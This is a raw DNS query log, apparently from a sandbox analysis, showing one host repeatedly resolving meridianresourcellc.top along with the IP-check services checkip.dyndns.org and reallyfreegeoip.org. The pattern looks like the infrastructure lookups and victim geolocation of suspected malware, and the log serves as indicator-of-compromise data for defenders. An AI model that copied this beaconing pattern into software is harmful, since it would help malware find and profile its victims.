Jul 26, 2024 23:45:19.716862917 CEST	8.8.8.8	192.168.2.22	0xeec9	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:24.051151037 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:24.051151037 CEST	8.8.8.8	192.168.2.22	0x2383	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:24.060973883 CEST	8.8.8.8	192.168.2.22	0x1185	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:24.060973883 CEST	8.8.8.8	192.168.2.22	0x1185	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:27.979532957 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:27.979532957 CEST	8.8.8.8	192.168.2.22	0x98ab	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.114315033 CEST	8.8.8.8	192.168.2.22	0xae0f	No error (0)	meridianresourcellc.top		104.21.52.88	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.114315033 CEST	8.8.8.8	192.168.2.22	0xae0f	No error (0)	meridianresourcellc.top		172.67.197.72	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.185820103 CEST	8.8.8.8	192.168.2.22	0x63c0	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:28.185820103 CEST	8.8.8.8	192.168.2.22	0x63c0	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.185820103 CEST	8.8.8.8	192.168.2.22	0x63c0	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.185820103 CEST	8.8.8.8	192.168.2.22	0x63c0	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.185820103 CEST	8.8.8.8	192.168.2.22	0x63c0	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.185820103 CEST	8.8.8.8	192.168.2.22	0x63c0	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.251365900 CEST	8.8.8.8	192.168.2.22	0xe435	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:28.251365900 CEST	8.8.8.8	192.168.2.22	0xe435	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.251365900 CEST	8.8.8.8	192.168.2.22	0xe435	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.251365900 CEST	8.8.8.8	192.168.2.22	0xe435	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.251365900 CEST	8.8.8.8	192.168.2.22	0xe435	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:28.251365900 CEST	8.8.8.8	192.168.2.22	0xe435	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:30.750123978 CEST	8.8.8.8	192.168.2.22	0x3571	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:30.750123978 CEST	8.8.8.8	192.168.2.22	0x3571	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.186748981 CEST	8.8.8.8	192.168.2.22	0x2a3f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:35.186748981 CEST	8.8.8.8	192.168.2.22	0x2a3f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.186748981 CEST	8.8.8.8	192.168.2.22	0x2a3f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.186748981 CEST	8.8.8.8	192.168.2.22	0x2a3f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.186748981 CEST	8.8.8.8	192.168.2.22	0x2a3f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.186748981 CEST	8.8.8.8	192.168.2.22	0x2a3f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.203803062 CEST	8.8.8.8	192.168.2.22	0xc284	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:35.203803062 CEST	8.8.8.8	192.168.2.22	0xc284	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.203803062 CEST	8.8.8.8	192.168.2.22	0xc284	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.203803062 CEST	8.8.8.8	192.168.2.22	0xc284	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.203803062 CEST	8.8.8.8	192.168.2.22	0xc284	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.203803062 CEST	8.8.8.8	192.168.2.22	0xc284	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.718290091 CEST	8.8.8.8	192.168.2.22	0x94d0	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:35.718290091 CEST	8.8.8.8	192.168.2.22	0x94d0	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.466989040 CEST	8.8.8.8	192.168.2.22	0x5323	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:36.466989040 CEST	8.8.8.8	192.168.2.22	0x5323	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.466989040 CEST	8.8.8.8	192.168.2.22	0x5323	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.466989040 CEST	8.8.8.8	192.168.2.22	0x5323	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.466989040 CEST	8.8.8.8	192.168.2.22	0x5323	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.466989040 CEST	8.8.8.8	192.168.2.22	0x5323	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.624397993 CEST	8.8.8.8	192.168.2.22	0x1d8f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:36.624397993 CEST	8.8.8.8	192.168.2.22	0x1d8f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.624397993 CEST	8.8.8.8	192.168.2.22	0x1d8f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.624397993 CEST	8.8.8.8	192.168.2.22	0x1d8f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.624397993 CEST	8.8.8.8	192.168.2.22	0x1d8f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.624397993 CEST	8.8.8.8	192.168.2.22	0x1d8f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.725044966 CEST	8.8.8.8	192.168.2.22	0xfd5d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:36.725044966 CEST	8.8.8.8	192.168.2.22	0xfd5d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.725044966 CEST	8.8.8.8	192.168.2.22	0xfd5d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.725044966 CEST	8.8.8.8	192.168.2.22	0xfd5d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.725044966 CEST	8.8.8.8	192.168.2.22	0xfd5d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.725044966 CEST	8.8.8.8	192.168.2.22	0xfd5d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.774833918 CEST	8.8.8.8	192.168.2.22	0xa5e4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:36.774833918 CEST	8.8.8.8	192.168.2.22	0xa5e4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.774833918 CEST	8.8.8.8	192.168.2.22	0xa5e4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.774833918 CEST	8.8.8.8	192.168.2.22	0xa5e4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.774833918 CEST	8.8.8.8	192.168.2.22	0xa5e4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:36.774833918 CEST	8.8.8.8	192.168.2.22	0xa5e4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:37.871150017 CEST	8.8.8.8	192.168.2.22	0xa29a	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:37.871150017 CEST	8.8.8.8	192.168.2.22	0xa29a	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.771265030 CEST	8.8.8.8	192.168.2.22	0xbb4c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:39.771265030 CEST	8.8.8.8	192.168.2.22	0xbb4c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.771265030 CEST	8.8.8.8	192.168.2.22	0xbb4c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.771265030 CEST	8.8.8.8	192.168.2.22	0xbb4c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.771265030 CEST	8.8.8.8	192.168.2.22	0xbb4c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.771265030 CEST	8.8.8.8	192.168.2.22	0xbb4c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.842966080 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:39.842966080 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.842966080 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.842966080 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.842966080 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.842966080 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.863590002 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:39.863590002 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.863590002 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.863590002 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.863590002 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:39.863590002 CEST	8.8.8.8	192.168.2.22	0xc49	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:40.735959053 CEST	8.8.8.8	192.168.2.22	0x3cad	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:40.735959053 CEST	8.8.8.8	192.168.2.22	0x3cad	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401194096 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401194096 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401194096 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401194096 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401194096 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.401194096 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.407588005 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:41.407588005 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.407588005 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.407588005 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.407588005 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.407588005 CEST	8.8.8.8	192.168.2.22	0x8630	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.419262886 CEST	8.8.8.8	192.168.2.22	0xc693	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:41.419262886 CEST	8.8.8.8	192.168.2.22	0xc693	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.419262886 CEST	8.8.8.8	192.168.2.22	0xc693	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.419262886 CEST	8.8.8.8	192.168.2.22	0xc693	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.419262886 CEST	8.8.8.8	192.168.2.22	0xc693	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.419262886 CEST	8.8.8.8	192.168.2.22	0xc693	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.535531044 CEST	8.8.8.8	192.168.2.22	0xafa5	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.535531044 CEST	8.8.8.8	192.168.2.22	0xafa5	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.542736053 CEST	8.8.8.8	192.168.2.22	0xafa5	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:41.542736053 CEST	8.8.8.8	192.168.2.22	0xafa5	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.186707020 CEST	8.8.8.8	192.168.2.22	0xfa66	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.186707020 CEST	8.8.8.8	192.168.2.22	0xfa66	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.257505894 CEST	8.8.8.8	192.168.2.22	0xfa66	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.257505894 CEST	8.8.8.8	192.168.2.22	0xfa66	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.486668110 CEST	8.8.8.8	192.168.2.22	0x6749	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:42.486668110 CEST	8.8.8.8	192.168.2.22	0x6749	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.486668110 CEST	8.8.8.8	192.168.2.22	0x6749	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.486668110 CEST	8.8.8.8	192.168.2.22	0x6749	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.486668110 CEST	8.8.8.8	192.168.2.22	0x6749	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.486668110 CEST	8.8.8.8	192.168.2.22	0x6749	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.532221079 CEST	8.8.8.8	192.168.2.22	0xc764	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:42.532221079 CEST	8.8.8.8	192.168.2.22	0xc764	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.532221079 CEST	8.8.8.8	192.168.2.22	0xc764	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.532221079 CEST	8.8.8.8	192.168.2.22	0xc764	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.532221079 CEST	8.8.8.8	192.168.2.22	0xc764	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.532221079 CEST	8.8.8.8	192.168.2.22	0xc764	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.540035009 CEST	8.8.8.8	192.168.2.22	0xf05d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:42.540035009 CEST	8.8.8.8	192.168.2.22	0xf05d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.540035009 CEST	8.8.8.8	192.168.2.22	0xf05d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.540035009 CEST	8.8.8.8	192.168.2.22	0xf05d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.540035009 CEST	8.8.8.8	192.168.2.22	0xf05d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.540035009 CEST	8.8.8.8	192.168.2.22	0xf05d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.543221951 CEST	8.8.8.8	192.168.2.22	0x916	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:42.543221951 CEST	8.8.8.8	192.168.2.22	0x916	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.543221951 CEST	8.8.8.8	192.168.2.22	0x916	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.543221951 CEST	8.8.8.8	192.168.2.22	0x916	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.543221951 CEST	8.8.8.8	192.168.2.22	0x916	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:42.543221951 CEST	8.8.8.8	192.168.2.22	0x916	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:43.339736938 CEST	8.8.8.8	192.168.2.22	0x49fb	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:43.339736938 CEST	8.8.8.8	192.168.2.22	0x49fb	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.136018991 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:44.136018991 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.136018991 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.136018991 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.136018991 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.136018991 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.328207016 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:44.328207016 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.328207016 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.328207016 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.328207016 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.328207016 CEST	8.8.8.8	192.168.2.22	0x2302	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.412067890 CEST	8.8.8.8	192.168.2.22	0x68be	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:44.412067890 CEST	8.8.8.8	192.168.2.22	0x68be	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.412067890 CEST	8.8.8.8	192.168.2.22	0x68be	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.412067890 CEST	8.8.8.8	192.168.2.22	0x68be	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.412067890 CEST	8.8.8.8	192.168.2.22	0x68be	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.412067890 CEST	8.8.8.8	192.168.2.22	0x68be	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.418123960 CEST	8.8.8.8	192.168.2.22	0x6dc6	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:44.418123960 CEST	8.8.8.8	192.168.2.22	0x6dc6	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.075834036 CEST	8.8.8.8	192.168.2.22	0x2ef7	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.075834036 CEST	8.8.8.8	192.168.2.22	0x2ef7	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.164971113 CEST	8.8.8.8	192.168.2.22	0xc927	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:45.164971113 CEST	8.8.8.8	192.168.2.22	0xc927	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.164971113 CEST	8.8.8.8	192.168.2.22	0xc927	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.164971113 CEST	8.8.8.8	192.168.2.22	0xc927	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.164971113 CEST	8.8.8.8	192.168.2.22	0xc927	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.164971113 CEST	8.8.8.8	192.168.2.22	0xc927	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.173413992 CEST	8.8.8.8	192.168.2.22	0xd5c4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 23:45:45.173413992 CEST	8.8.8.8	192.168.2.22	0xd5c4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 23:45:45.173413992 CEST	8.8.8.8	192.168.2.22	0xd5c4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
